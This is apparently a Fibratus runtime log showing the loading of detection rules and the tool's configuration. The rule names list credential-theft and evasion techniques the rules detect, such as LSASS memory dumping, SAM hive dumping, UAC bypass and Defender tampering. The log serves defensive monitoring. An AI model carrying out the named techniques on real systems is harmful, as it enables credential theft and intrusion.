C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-10T16:17:05+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-10T16:17:05+01:00 level=info msg=bootstrapping with pid 6312. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-10T16:17:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true enable-threadpool=>false enable-registry=>true enable-handle=>false stack-enrichment=>true enable-thread=>true buffer-size=>512 enable-vamap=>true enable-net=>true enable-dns=>false enable-audit-api=>true max-buffers=>36 enable-mem=>false enable-image=>true flush-interval=>1s min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info max-age=>0 formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ trace-log=>false timeout=>5s enabled=>false gzip-compression=>false bulk-workers=>1 healthcheck-interval=>10s template-name=>fibratus healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s sniff=>false healthcheck-timeout=>5s] http=>[ serializer=>json enabled=>false timeout=>5s endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange=>fibratus durable=>false url=>amqp://localhost:5672 exchange-type=>topic vhost=>/ enabled=>false delivery-mode=>transient timeout=>5s tls-insecure-skip-verify=>false passive=>false routing-key=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>false enabled=>false fastscan=>true excluded-files=>[] skip-registry=>false skip-allocs=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-10T16:17:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:17:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-10T16:17:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:17:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:17:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:288 +time=2025-12-10T16:21:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-10T16:21:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 